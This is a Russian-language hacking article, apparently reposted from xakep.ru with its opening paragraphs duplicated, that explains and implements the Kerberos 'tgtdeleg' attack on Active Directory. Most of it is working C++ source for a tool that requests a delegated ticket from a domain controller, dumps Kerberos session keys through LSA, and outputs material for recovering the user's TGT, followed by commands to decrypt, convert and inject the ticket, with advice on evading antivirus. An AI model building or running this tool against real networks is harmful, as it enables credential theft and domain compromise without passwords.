В этой статье мы рассмотрим не очень популярную, но крайне интересную атаку, реализовав которую атакующий сможет получить TGT-билет пользователя, даже не зная его пароля либо хеша. Хакеру достаточно лишь выполнить код от лица этого пользователя, а все остальное сделает за нас KDC.
Active Directory предоставляет мощный набор функций для делегирования прав на олицетворение пользователей конкретной службе. Существует три вида делегирования: неограниченное, ограниченное и ограниченное на основе ресурсов. Про каждый уже рассказывалось много раз, но какие еще возможности таит в себе механизм делегирования?
Во‑первых, клиент обращается к службе с неограниченным делегированием. KDC видит, что эта служба имеет специальный флаг TRUSTED_FOR_DELEGATION (он сигнализирует о том, что у службы настроено неограниченное делегирование), поэтому возвращает клиенту TGS на эту службу, но со специальным флагом OK-AS-DELEGATE. Следующим шагом клиент проверяет этот самый флаг. Если он видит, что флаг установлен, то понимает: служба использует неограниченное делегирование, поэтому клиент вновь идет к KDC и запрашивает специальный FORWARDED TGT, который будет отправлен службе.
Внутри этого тикета будет лежать также сессионный ключ, что позволит службе без проблем олицетворять клиента. Далее у клиента будет TGS-тикет на службу, а также этот FORWARDED TGT, поэтому пора идти к службе. Генерируется запрос AP-REQ, который содержит этот самый FORWARDED TGT.
Причем тикет будет находиться внутри так называемого аутентификатора. Он позволяет предотвратить возможность релей‑атаки на этап AP-REQ, так как аутентификатор зашифрован сессионным ключом, а также содержит (в случае обычного AP-REQ) имя принципала клиента и таймстемп. Если же служба настроена с неограниченным делегированием, то в запрос AP-REQ, который отправится службе, попадет не только таймстемп и имя принципала, но и FORWARDED TGT. Причем этот самый FORWARDED TGT будет лежать внутри аутентификатора. Сессионный ключ для шифрования аутентификатора клиент получает в ответе TGS-REP, который идет до AP-REQ.
Таким образом, у атакующего появляется возможность расшифровать аутентификатор из AP-REQ, а затем получить TGT-билет пользователя, который инициировал обращение к службе с неограниченным делегированием, ведь на руках у него будет зашифрованный блоб и ключ для его дешифровки.
Теперь стоит предусмотреть два варианта работы инструмента: в первом случае служба с неограниченным делегированием будет обнаружена автоматически (достаточно только имени домена), а во втором атакующий собственноручно сможет указать нужный SPN.
Главная функция инструмента не очень большая. Сначала получаем список аргументов, причем проверяем: если их не три, то атакующий указал что‑то не то, поэтому вызываем функцию, которая расскажет, как использовать инструмент.
Если же пользователь нигде не напортачил, то переходим к парсингу аргументов. В первом случае, когда указывается только имя домена, вызывается функция
Эта функция позволяет получить DNS-имя контроллера домена. Мы берем контроллер домена потому, что на нем по умолчанию включено неограниченное делегирование. Получить имя можно с помощью функции
После получения имени убираем из него первые два символа слеша (так как функция вернула \\dc01, а нам нужно просто dc01), а затем добавляем к полученному имени службу CIFS. В итоге у нас появляется валидный SPN на службу CIFS контроллера домена.
Функция removeLeadingCharacters просто чуть‑чуть смещает указатель на полученную строку, чтобы первые два символа \\ как бы пропали.
А функция addCIFS() добавляет строку CIFS/ к имени компьютера.
Есть и второй вариант — пользователь должен самостоятельно указать SPN. Здесь никакого парсинга тогда не потребуется. Сразу передаем полученный SPN в функцию TgtDeleg(), в которой реализована логика получения сессионного ключа и блоба AP-REQ.
Начнем с функции AcquireCredentialsHandle(). Она позволяет получить хендл на собственные реквизиты для SSPI, а также указать протокол, на основе которого будет выстраиваться контекст. Под реквизитами понимается пара «логин:пароль», на основе которых пользователь может пройти аутентификацию. Контекст выстраивать не придется — нам достаточно будет один раз просто обратиться к службе, а ОС уже самостоятельно пойдет к KDC, получит TGS и проверит флаг OK-AS-DELEGATE.
Отмечу самые основные параметры:
Параметр pAuthData — опциональная структура, в которую можно передать реквизиты, специфичные для используемого поставщика безопасности. Например, если бы требовалось пройти аутентификацию от лица иного пользователя, не от того, от которого запущен инструмент, то мы бы использовали структуру SEC_WINNT_AUTH_IDENTITY.
А инициализировали бы ее вот так:
Элемент phCredential — указатель на структуру CredHandle для получения дескриптора учетных данных.
Вызываем эту функцию, получаем хендл на свои реквизиты.
Если что‑то идет не так, то обрабатываем полученную ошибку. Про дебаг SECURITY_STATUS написано в статье «Поставщик небезопасности. Как Windows раскрывает пароль пользователя».
Если же все хорошо, то переходим к взаимодействию с целевой службой. Для этого используем функцию
Эта функция позволяет обратиться к целевой службе, чтобы начать выстраивание контекста для безопасного взаимодействия. Именно в этот момент KDC видит, что клиент пришел к службе с неограниченным делегированием, и отдает TGS с флагом OK_AS_DELEGATE. Стоит обратить внимание на параметр pszTargetName — здесь указываем SPN службы с неограниченным делегированием. Затем проверяем, успешен ли вызов функции, а также pfContextAttr. Если он содержит значение ISC_REQ_DELEGATE, то все сработало правильно и мы обратились к службе с неограниченным делегированием.
Причем в параметре fContextReq указываем маску ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_DELEGATE | ISC_REQ_MUTUAL_AUTH. Последние два параметра позволят серверу, на который клиент отправляет контекст, проводить олицетворение этого самого клиента.
Затем приступаем к получению блоба AP-REQ. Он будет находиться внутри параметра pvBuffer структуры SecBuffer. Ее мы передали внутри другой структуры SecBufferDesc параметром output в функцию InitializeSecurityContext(). Сами эти структуры нужны для того, чтобы SP мог вернуть данные, которые требуются для дальнейшего выстраивания контекста. Разнообразия ради предлагаю использовать функцию CryptBinaryToStringA() для кодирования блоба в Base64. Кодируем по той причине, что сам AP-REQ представляет собой большой массив бинарных данных, корректное отображение которых невозможно.
В этом коде все чуточку проще. В функцию кодирования в Base64 передаем буфер, содержащий блоб AP-REQ (secbufPointer.pvBuffer), его размер secbufPointer.cbBuffer, а в ответ получаем размер выходного буфера (destSize). Затем выделяем в памяти достаточно места под выходной буфер и записываем туда блоб AP-REQ повторным вызовом функции кодирования данных.
Нам достаточно и обычного хендла на LSA. Нет смысла дергать LsaRegisterLogonProcess() для дампа сессионных ключей, ведь они должны быть доступны любому пользователю, даже низкопривилегированному (иначе как бы он шифровал пакеты Kerberos?). Затем я столкнулся с интересной проблемой: у тикета есть три вида шифрования — RC4, AES-128, AES-256. А нам никак не узнать, тикет с какой криптографией сейчас лежит в программе, поэтому придется три раза обращаться к AP Kerberos для поиска нужного ключа. Обращение я вынес в отдельную функцию GetSessionKeys().
Сначала просто получаем идентификатор AP Kerberos, затем пытаемся получить сессионные ключи для тикета с шифрованием RC4. Если таких ключей нет, нам выдадут ошибку 0xC0000034, которая функцией LsaNtStatusToWinError() преобразуется в 0x2, что означает ERROR_FILE_NOT_FOUND (файлом, видимо, винда называет сессионный ключ). Если же что‑то ломается, то прилетает -1. Если все окей, то ключ был успешно сдамплен, выводим AP-REQ и сам ключик. Ровно такой же алгоритм повторяем и для AES-128, и для AES-256.
Функция GetSessionKeys() запрашивает из AP Kerberos сессионные ключи, передавая структуру KERB_RETRIEVE_TKT_REQUEST.
В качестве MessageType указываем KerbRetrieveEncodedTicketMessage, а в CacheOptions — KERB_RETRIEVE_TICKET_USE_CACHE_ONLY, что позволит сдампить сессионные ключи. Сама функция GetSessionKeys() принимает хендл на LSA, ID AP Kerberos, тип шифрования (23 — RC4, 17 — AES-128, 18 — AES-256), целевой SPN, а также размер буфера.
Логика достаточно простая: готовим структуру KERB_RETRIEVE_TKT_REQUEST, которую динамически выделяем в памяти. Затем инициализируем все нужные элементы, отдельно копируем SPN в имя целевой службы функцией RtlMoveMemory(), иначе Kerberos не поймет, сессионный ключ какого тикета нужно сдампить, а затем проверяем успешность вызова функции.
Если функция дернулась успешно, то копируем сессионный ключ, а затем кодируем его в Base64, повторяя все те же операции, что и для блоба AP-REQ.
Такое решение я принял неслучайно — для расшифровки AP-REQ используется недокументированный криптоинтерфейс Windows, который легитимные программы не используют в принципе. Так или иначе, мы его изучим, но чуть позже, когда будем писать инструмент для запроса TGT и TGS на C++. Лишь вкратце отмечу, что для обнаружения и инициализации всех методов этого криптоинтерфейса используется функция CDLocateCSystem(). Проблема в том, что при первом же гуглении ее имени мы натыкаемся на очень интересные статьи.
Функция крайне подозрительная, плюс, скорее всего, ее вызов отслеживается даже самыми простыми АВ. Поэтому, чтобы сохранить чистоту инструмента, предлагаю перенести расшифровку на компьютер атакующего.
Тем не менее, если тебе интересно посмотреть, как эту расшифровку реализует Kekeo или Rubeus, то вот ссылки на код:
Затем в текущей директории появится тикет .ccache, который можно преобразовать в формат .kirbi с помощью ticketConverter.py.
Наконец, инжектим тикет с помощью инструмента на PowerShell.
Автор _MKS_
источник xakep.ru
Active Directory предоставляет мощный набор функций для делегирования прав на олицетворение пользователей конкретной службе. Существует три вида делегирования: неограниченное, ограниченное и ограниченное на основе ресурсов. Про каждый уже рассказывалось много раз, но какие еще возможности таит в себе механизм делегирования?
ОСОБЕННОСТИ НЕОГРАНИЧЕННОГО ДЕЛЕГИРОВАНИЯ
При неограниченном делегировании администратор приходит к службе и говорит: «Теперь ты можешь олицетворять клиентов на других службах». Причем на абсолютно любых службах (отсюда и название — неограниченное). Как это работает?Во‑первых, клиент обращается к службе с неограниченным делегированием. KDC видит, что эта служба имеет специальный флаг TRUSTED_FOR_DELEGATION (он сигнализирует о том, что у службы настроено неограниченное делегирование), поэтому возвращает клиенту TGS на эту службу, но со специальным флагом OK-AS-DELEGATE. Следующим шагом клиент проверяет этот самый флаг. Если он видит, что флаг установлен, то понимает: служба использует неограниченное делегирование, поэтому клиент вновь идет к KDC и запрашивает специальный FORWARDED TGT, который будет отправлен службе.
Внутри этого тикета будет лежать также сессионный ключ, что позволит службе без проблем олицетворять клиента. Далее у клиента будет TGS-тикет на службу, а также этот FORWARDED TGT, поэтому пора идти к службе. Генерируется запрос AP-REQ, который содержит этот самый FORWARDED TGT.
Причем тикет будет находиться внутри так называемого аутентификатора. Он позволяет предотвратить возможность релей‑атаки на этап AP-REQ, так как аутентификатор зашифрован сессионным ключом, а также содержит (в случае обычного AP-REQ) имя принципала клиента и таймстемп. Если же служба настроена с неограниченным делегированием, то в запрос AP-REQ, который отправится службе, попадет не только таймстемп и имя принципала, но и FORWARDED TGT. Причем этот самый FORWARDED TGT будет лежать внутри аутентификатора. Сессионный ключ для шифрования аутентификатора клиент получает в ответе TGS-REP, который идет до AP-REQ.
Таким образом, у атакующего появляется возможность расшифровать аутентификатор из AP-REQ, а затем получить TGT-билет пользователя, который инициировал обращение к службе с неограниченным делегированием, ведь на руках у него будет зашифрованный блоб и ключ для его дешифровки.
ОСОБЕННОСТИ ЭКСПЛУАТАЦИИ
Чтобы успешно получить TGT, нужно, чтобы выполнялись следующие требования:- служба, к которой обращается клиент, настроена на неограниченное делегирование. Но здесь ничего страшного нет — все контроллеры домена настроены с неограниченным делегированием;
- у нас есть возможность выполнить код от лица клиента.
- Обращаемся к службе с неограниченным делегированием.
- Получаем сгенерированный AP-REQ.
- Извлекаем сессионный ключ для расшифровки аутентификатора.
- Расшифровываем аутентификатор.
- Извлекаем TGT.
ОБНАРУЖЕНИЕ НУЖНОЙ СЛУЖБЫ
Итак, сначала создаем файл Header.h, в котором указываем все нужные заголовочные файлы, подгружаемые либы, а также прототип одной‑единственной функции.
Код:
#pragma once
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <DsGetDC.h>
#include <NTSecAPI.h>
#include <iostream>
#include <locale.h>
#include <wincrypt.h>
#include <WinBase.h>
#define DEBUG
#pragma comment (lib, "Secur32.lib")
#pragma comment (lib, "NetApi32.lib")
#pragma comment(lib,"Crypt32.lib")
DWORD TgtDeleg(LPCWSTR);
Главная функция инструмента не очень большая. Сначала получаем список аргументов, причем проверяем: если их не три, то атакующий указал что‑то не то, поэтому вызываем функцию, которая расскажет, как использовать инструмент.
Код:
int wmain(char argc, wchar_t* argv[]) {
setlocale(LC_ALL, "");
ShowAwesomeBanner();
if (argc != 3) {
ShowUsage();
}
....
}
void ShowUsage() {
std::wcout << L"tgtdeleg.exe 1 <DOMAIN NAME>\n\tEx: tgtdeleg.exe 1 cringe.lab" << std::endl;
std::wcout << L"tgtdeleg.exe 2 <SPN With Unconstrained Deleg>\n\tEx: tgtdeleg.exe 2 CIFS/dc01.cringe.lab" << std::endl;
exit(-1);
}
Если же пользователь нигде не напортачил, то переходим к парсингу аргументов. В первом случае, когда указывается только имя домена, вызывается функция
GetDomainController().
Код:
LPCWSTR targetname = NULL;
switch (*argv[1]) {
case '1':
targetname = GetDomainController(argv[2]);
break;
...
DsGetDcName().
Код:
LPCWSTR GetDomainController(wchar_t* domainName) {
PDOMAIN_CONTROLLER_INFO dcInfo = NULL;
DWORD err = DsGetDcName(NULL, (LPCWSTR)domainName, NULL, NULL, DS_RETURN_DNS_NAME | DS_IP_REQUIRED, &dcInfo);
if (err != ERROR_SUCCESS) {
std::wcout << L"[-] Cant Get DC Name, try use 2 mode: " << err << std::endl;
exit(-1);
}
return dcInfo->DomainControllerName;
}
Код:
targetname = removeLeadingCharacters(targetname);
#ifdef DEBUG
std::wcout << L"[+] Target: " << targetname << std::endl;
#endif
LPCWSTR SPN = addCIFS(targetname);
Код:
LPCWSTR removeLeadingCharacters(LPCWSTR originalString) {
LPCWSTR stringPtr = originalString;
if (stringPtr[0] == L'\' && stringPtr[1] == L'\') {
stringPtr += 2;
}
return stringPtr;
}
Код:
LPCWSTR addCIFS(LPCWSTR originalString) {
size_t originalSize = wcslen(originalString);
size_t cifsSize = 5;
size_t newSize = originalSize + cifsSize + 1;
LPWSTR newString = new WCHAR[newSize];
wcscpy_s(newString, newSize, L"CIFS/");
wcscat_s(newString, newSize, originalString);
return newString;
}
Код:
case '2':
if (TgtDeleg(argv[2]) == 0) {
std::wcout << L"[+] TgtDeleg Success" << std::endl;
return 0;
}
else {
std::wcout << L"[-] TgtDeleg Error" << std::endl;
return -1;
}
break;
default:
std::wcout << L"[-] No such mode" << std::endl;
ShowUsage();
return 0;
}
ПОДКЛЮЧЕНИЕ К СЛУЖБЕ
Переходим в сердце программы — в функцию TgtDeleg(). Она принимает один‑единственный аргумент — это SPN целевой службы. Затем начинается, как кто‑то очень интересно выразился, «магия SSPI». В действительности никакой магии нет. SSPI можно считать эдакой апишкой, через которую разработчики могут связываться с поставщиками безопасности (Security Packages). Возможности SSPI очень большие: шифрование, подпись, выстраивание контекста. Именно функции SSPI позволят нам сымитировать обращение к службе с неограниченным делегированием.Начнем с функции AcquireCredentialsHandle(). Она позволяет получить хендл на собственные реквизиты для SSPI, а также указать протокол, на основе которого будет выстраиваться контекст. Под реквизитами понимается пара «логин:пароль», на основе которых пользователь может пройти аутентификацию. Контекст выстраивать не придется — нам достаточно будет один раз просто обратиться к службе, а ОС уже самостоятельно пойдет к KDC, получит TGS и проверит флаг OK-AS-DELEGATE.
Код:
SECURITY_STATUS SEC_Entry AcquireCredentialsHandle(
_In_ SEC_CHAR *pszPrincipal,
_In_ SEC_CHAR *pszPackage,
_In_ ULONG fCredentialUse,
_In_ PLUID pvLogonID,
_In_ PVOID pAuthData,
_In_ SEC_GET_KEY_FN pGetKeyFn,
_In_ PVOID pvGetKeyArgument,
_Out_ PCredHandle phCredential,
_Out_ PTimeStamp ptsExpiry
);
- pszPrincipal — имя сущности, для которой мы получаем реквизиты. Никаких сущностей, ни живых, ни мертвых, у нас нет, поэтому указываем NULL, что позволяет получить реквизиты для текущего потока;
- pszPackage — какой поставщик безопасности использовать;
- fCredentialUse — для каких целей будут использованы реквизиты.
Параметр pAuthData — опциональная структура, в которую можно передать реквизиты, специфичные для используемого поставщика безопасности. Например, если бы требовалось пройти аутентификацию от лица иного пользователя, не от того, от которого запущен инструмент, то мы бы использовали структуру SEC_WINNT_AUTH_IDENTITY.
Код:
typedef struct _SEC_WINNT_AUTH_IDENTITY_A {
unsigned char *User;
unsigned long UserLength;
unsigned char *Domain;
unsigned long DomainLength;
unsigned char *Password;
unsigned long PasswordLength;
unsigned long Flags;
} SEC_WINNT_AUTH_IDENTITY_A, *PSEC_WINNT_AUTH_IDENTITY_A;
Код:
SEC_WINNT_AUTH_IDENTITY_A authIdentity = {0};
authIdentity.User = L"username";
authIdentity.UserLength = lstrlen(L"username");
authIdentity.Domain = L"office.local";
authIdentity.DomainLength = lstrlen(L"office.local");
authIdentity.Password = L"pass123";
authIdentity.PasswordLength = lstrlen(L"pass123");
authIdentity.Flags = SEC_WINNT_AUTH_IDENTITY_UNICODE; // Если строки юникода. Если анси, то SEC_WINNT_AUTH_IDENTITY_ANSI
Вызываем эту функцию, получаем хендл на свои реквизиты.
Код:
CredHandle hCredential;
TimeStamp tsExpiry;
SECURITY_STATUS status = AcquireCredentialsHandleW(NULL, (LPWSTR)MICROSOFT_KERBEROS_NAME, SECPKG_CRED_OUTBOUND, NULL, NULL, NULL, NULL, &hCredential, &tsExpiry);
if (status == SEC_E_OK) {
... // Все ОK
} else {
switch (status) {
case SEC_E_INSUFFICIENT_MEMORY:
std::wcout << L"[-] Not enough memory for current creds" << std::endl;
break;
case SEC_E_INTERNAL_ERROR:
std::wcout << L"[-] SSPI ERROR: 0x" << std::hex << status << L"L" << std::endl;
break;
case SEC_E_NO_CREDENTIALS:
std::wcout << L"[-] No Credentials Available" << std::endl;
break;
case SEC_E_NOT_OWNER:
std::wcout << L"[-] U Dont Have Credentials" << std::endl;
break;
case SEC_E_SECPKG_NOT_FOUND:
std::wcout << L"[-] Kerberos AP is not initialized" << std::endl;
break;
case SEC_E_UNKNOWN_CREDENTIALS:
std::wcout << L"[-] Credentials were not recognized" << std::endl;
break;
default:
std::wcout << L"[-] Unknown Err: 0x" << std::hex << status << L"L" << std::endl;
break;
}
}
return -1;
}
Если же все хорошо, то переходим к взаимодействию с целевой службой. Для этого используем функцию
InitializeSecurityContext().
Код:
SECURITY_STATUS SEC_ENTRY InitializeSecurityContextA(
[in, optional] PCredHandle phCredential,
[in, optional] PCtxtHandle phContext,
SEC_CHAR *pszTargetName,
[in] unsigned long fContextReq,
[in] unsigned long Reserved1,
[in] unsigned long TargetDataRep,
[in, optional] PSecBufferDesc pInput,
[in] unsigned long Reserved2,
[in, out, optional] PCtxtHandle phNewContext,
[in, out, optional] PSecBufferDesc pOutput,
[out] unsigned long *pfContextAttr,
[out, optional] PTimeStamp ptsExpiry
);
Код:
CtxtHandle newContext;
SecBuffer secbufPointer = { 0, SECBUFFER_TOKEN, NULL };
SecBufferDesc output = { SECBUFFER_VERSION, 1, &secbufPointer };
ULONG contextAttr;
TimeStamp expiry;
SECURITY_STATUS initSecurity = InitializeSecurityContextW(&hCredential, NULL, (SEC_WCHAR*)spn, ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_DELEGATE | ISC_REQ_MUTUAL_AUTH, 0, SECURITY_NATIVE_DREP, NULL, 0, &newContext, &output, &contextAttr, NULL);
if (initSecurity == SEC_E_OK || initSecurity == SEC_I_CONTINUE_NEEDED) {
std::wcout << L"[+] Initializing GSS-API" << std::endl;
if (contextAttr & ISC_REQ_DELEGATE) {
#ifdef DEBUG
std::wcout << L"[+] SPN Supports Unconstrained Deleg" << std::endl;
#endif
DWORD destSize;
...
Затем приступаем к получению блоба AP-REQ. Он будет находиться внутри параметра pvBuffer структуры SecBuffer. Ее мы передали внутри другой структуры SecBufferDesc параметром output в функцию InitializeSecurityContext(). Сами эти структуры нужны для того, чтобы SP мог вернуть данные, которые требуются для дальнейшего выстраивания контекста. Разнообразия ради предлагаю использовать функцию CryptBinaryToStringA() для кодирования блоба в Base64. Кодируем по той причине, что сам AP-REQ представляет собой большой массив бинарных данных, корректное отображение которых невозможно.
Код:
DWORD destSize;
// Getting AS-REQ blob
BOOL base64 = CryptBinaryToStringA((CONST BYTE*)secbufPointer.pvBuffer, (DWORD)secbufPointer.cbBuffer, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, NULL, &destSize);
char* apreqbuf = (char*)malloc((SIZE_T)destSize);
if (apreqbuf == NULL) {
std::wcout << L"[-] Unable To allocate memory for AS-REQ b64 blob" << std::endl;
return -1;
}
else {
BOOL base64 = CryptBinaryToStringA((CONST BYTE*)secbufPointer.pvBuffer, (DWORD)secbufPointer.cbBuffer, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, apreqbuf, &destSize);
if (!base64) {
std::wcout << L"[-] Unable to Base64 Encode AP-REQ blob" << std::endl;
return -1;
}
else {
apreqdata = (BYTE*)secbufPointer.pvBuffer;
apreqsize = secbufPointer.cbBuffer;
...
ПОЛУЧЕНИЕ СЕССИОННЫХ КЛЮЧЕЙ
Теперь у нас есть что расшифровывать, но нечем. Нужно получить сессионный ключ. Он будет находиться также в пространстве процесса lsass.exe, внутри AP Kerberos, поэтому для его дампа можно будет использовать стандартные функции LsaConnectUntrusted() и LsaCallAuthenticationPackage(). Сессионный ключ клиент получил после успешного вызова InitializeSecurityContext() в ответе KDC пакетом TGS-REP. Сначала просто подключаемся к LSA.
Код:
HANDLE lsaHandle;
LSA_STRING kerbPackage;
kerbPackage.Buffer = (PCHAR)MICROSOFT_KERBEROS_NAME_A;
kerbPackage.Length = (USHORT)lstrlenA(kerbPackage.Buffer);
kerbPackage.MaximumLength = kerbPackage.Length + 1;
ULONG authpackageId;
NTSTATUS connection = LsaConnectUntrusted(&lsaHandle);
if (connection == statusSuccess) {
#ifdef DEBUG
std::wcout << L"[+] Connection to LSA Success" << std::endl;
#endif
...
Код:
NTSTATUS LookupPckg = LsaLookupAuthenticationPackage(lsaHandle, &kerbPackage, &authpackageId);
if (LookupPckg == statusSuccess) {
#ifdef DEBUG
std::wcout << L"[+] Kerberos AP: " << authpackageId << std::endl;
#endif
std::wcout << L"[+] Trying RC4" << std::endl;
NTSTATUS sessKey = GetSessionKeys(lsaHandle, authpackageId, 23, spn, destSize);
if (sessKey == 0xC0000034) {
std::wcout << L"\t[-] No such keys" << std::endl;
std::wcout << L"[+] Trying AES128" << std::endl;
sessKey = GetSessionKeys(lsaHandle, authpackageId, 17, spn, destSize);
if (sessKey == 0xC0000034) {
std::wcout << L"\t[-] No such keys" << std::endl;
std::wcout << L"[+] Trying AES256" << std::endl;
sessKey = GetSessionKeys(lsaHandle, authpackageId, 18, spn, destSize);
if (sessKey != 0) {
std::wcout << L"[-] Error getting AES256 session Keys" << std::endl;
return -1;
}
else {
std::wcout << "[+] Session Key: " << sessionKeyGet << std::endl;
std::wcout << "[+] AP-REQ: " << apreqbuf << std::endl;
return 0;
}
}
else if (sessKey == -1) {
std::wcout << L"[-] Error getting AES128 session Keys" << std::endl;
return -1;
}
else {
std::wcout << "[+] Session Key: " << sessionKeyGet << std::endl;
std::wcout << "[+] AP-REQ: " << apreqbuf << std::endl;
return 0;
}
}
else if (sessKey == -1) {
std::wcout << L"[-] Error getting RC4 session Keys" << std::endl;
return -1;
}
else {
std::wcout << "[+] Session Key: " << sessionKeyGet << std::endl;
std::wcout << "[+] AP-REQ: " << apreqbuf << std::endl;
return 0;
}
}
Функция GetSessionKeys() запрашивает из AP Kerberos сессионные ключи, передавая структуру KERB_RETRIEVE_TKT_REQUEST.
Код:
typedef struct _KERB_RETRIEVE_TKT_REQUEST {
KERB_PROTOCOL_MESSAGE_TYPE MessageType;
LUID LogonId;
UNICODE_STRING TargetName;
ULONG TicketFlags;
ULONG CacheOptions;
LONG EncryptionType;
SecHandle CredentialsHandle;
} KERB_RETRIEVE_TKT_REQUEST, *PKERB_RETRIEVE_TKT_REQUEST;
Код:
NTSTATUS GetSessionKeys(HANDLE lsaHandle, ULONG authpackageId, LONG EncryptionType, LPCWSTR spn, DWORD destSize) {
PKERB_RETRIEVE_TKT_REQUEST retrieveRequest = NULL;
PKERB_RETRIEVE_TKT_RESPONSE retrieveResponse = NULL;
ULONG bufferLength;
ULONG returnLength;
NTSTATUS packageStatus = 0;
int spnSize = lstrlenW(spn);
USHORT newSpnSize = ((USHORT)lstrlenW((LPCWSTR)spn) + 1) * sizeof(wchar_t);
bufferLength = sizeof(KERB_RETRIEVE_TKT_REQUEST) + newSpnSize;
retrieveRequest = (PKERB_RETRIEVE_TKT_REQUEST)LocalAlloc(LPTR, bufferLength);
if (retrieveRequest != NULL) {
retrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage;
retrieveRequest->CacheOptions = KERB_RETRIEVE_TICKET_USE_CACHE_ONLY;
retrieveRequest->EncryptionType = EncryptionType;
retrieveRequest->TargetName.Length = newSpnSize - sizeof(wchar_t);
retrieveRequest->TargetName.MaximumLength = newSpnSize;
retrieveRequest->TargetName.Buffer = (PWSTR)((PBYTE)retrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST));
RtlMoveMemory(retrieveRequest->TargetName.Buffer, spn, retrieveRequest->TargetName.MaximumLength);
NTSTATUS callauthPkg = LsaCallAuthenticationPackage(lsaHandle, authpackageId, (PVOID)retrieveRequest, bufferLength, (PVOID*)&retrieveResponse, &returnLength, &packageStatus);
if (callauthPkg == statusSuccess) {
#ifdef DEBUG
std::wcout << L"\t[+] Calling AP Kerberos Success" << std::endl;
#endif
if (packageStatus == statusSuccess) {
std::wcout << L"\t[+] Successfully getted Kerberos keys with these encryption" << std::endl;
PVOID sessionkeynob64 = (PVOID)malloc((SIZE_T)retrieveResponse->Ticket.SessionKey.Length);
if (sessionkeynob64 != NULL) {
// Copying Session Key
RtlMoveMemory(sessionkeynob64, retrieveResponse->Ticket.SessionKey.Value, retrieveResponse->Ticket.SessionKey.Length);
BOOL base641 = CryptBinaryToStringA((CONST BYTE*)sessionkeynob64, (DWORD)retrieveResponse->Ticket.SessionKey.Length, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, NULL, &destSize);
LPSTR sessionKey = (LPSTR)malloc((SIZE_T)destSize);
if (sessionKey != NULL) {
BOOL base641 = CryptBinaryToStringA((CONST BYTE*)sessionkeynob64, (DWORD)retrieveResponse->Ticket.SessionKey.Length, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, sessionKey, &destSize);
if (base641) {
sessKkey = retrieveResponse->Ticket.SessionKey.Value;
sessionKeyGet = sessionKey;
return 0;
}
else {
std::cout << "\t[-] Cant Get string of session key: " << GetLastError() << std::endl;
return -1;
}
}
else {
std::cout << "\t[-] Cant LocalAlloc for session key: " << GetLastError() << std::endl;
return -1;
}
}
else {
std::cout << "\t[-] Unable to allocate memory for kerberos keys: " << GetLastError << std::endl;
LocalFree(retrieveRequest);
LsaFreeReturnBuffer((PVOID)retrieveResponse);
return -1;
}
}
else {
return packageStatus;
}
}
}
else {
DWORD Gle = GetLastError();
std::cout << "\t[-] Error LocalAlloc for KERB_RETRIEVE_TKT_REQUEST: " << Gle << std::endl;
return -1;
}
}
Если функция дернулась успешно, то копируем сессионный ключ, а затем кодируем его в Base64, повторяя все те же операции, что и для блоба AP-REQ.
РАСШИФРОВКА AP-REQ
После получения AP-REQ и сессионного ключа я принял решение не декриптить блоб на хосте. Инструмент будет выводить только сессионный ключ в Base64 и сам AP-REQ, а расшифровку сделаем на хосте атакующего.
Такое решение я принял неслучайно — для расшифровки AP-REQ используется недокументированный криптоинтерфейс Windows, который легитимные программы не используют в принципе. Так или иначе, мы его изучим, но чуть позже, когда будем писать инструмент для запроса TGT и TGS на C++. Лишь вкратце отмечу, что для обнаружения и инициализации всех методов этого криптоинтерфейса используется функция CDLocateCSystem(). Проблема в том, что при первом же гуглении ее имени мы натыкаемся на очень интересные статьи.
Функция крайне подозрительная, плюс, скорее всего, ее вызов отслеживается даже самыми простыми АВ. Поэтому, чтобы сохранить чистоту инструмента, предлагаю перенести расшифровку на компьютер атакующего.
Тем не менее, если тебе интересно посмотреть, как эту расшифровку реализует Kekeo или Rubeus, то вот ссылки на код:
- Kekeo: файлы kuhl_m_tgt и kull_m_kerberos_asn1_crypto.c;
- Rubeus: файл Crypto.cs.
Python:
python tgtParse.py --etype <тип шифрования> --sessionkey <сессионный ключ> --apreq <ap req блоб>
Затем в текущей директории появится тикет .ccache, который можно преобразовать в формат .kirbi с помощью ticketConverter.py.
Python:
python ticketConverter.py Администратор.ccache admin.kirbi
Наконец, инжектим тикет с помощью инструмента на PowerShell.
Код:
.\injector.ps1 2 "doi..."
ВЫВОДЫ
Функции делегирования в Active Directory предоставляют множество необычных и недокументированных возможностей, эксплуатация которых очень сильно упрощает жизнь атакующему. А если этот атакующий еще и умеет все написать c нуля, разобраться в атаке, обойти защитные средства, то он в шаге от превращения в настоящего редтимера! Полный код проекта ты можешь отыскать на GitHub.Автор _MKS_
источник xakep.ru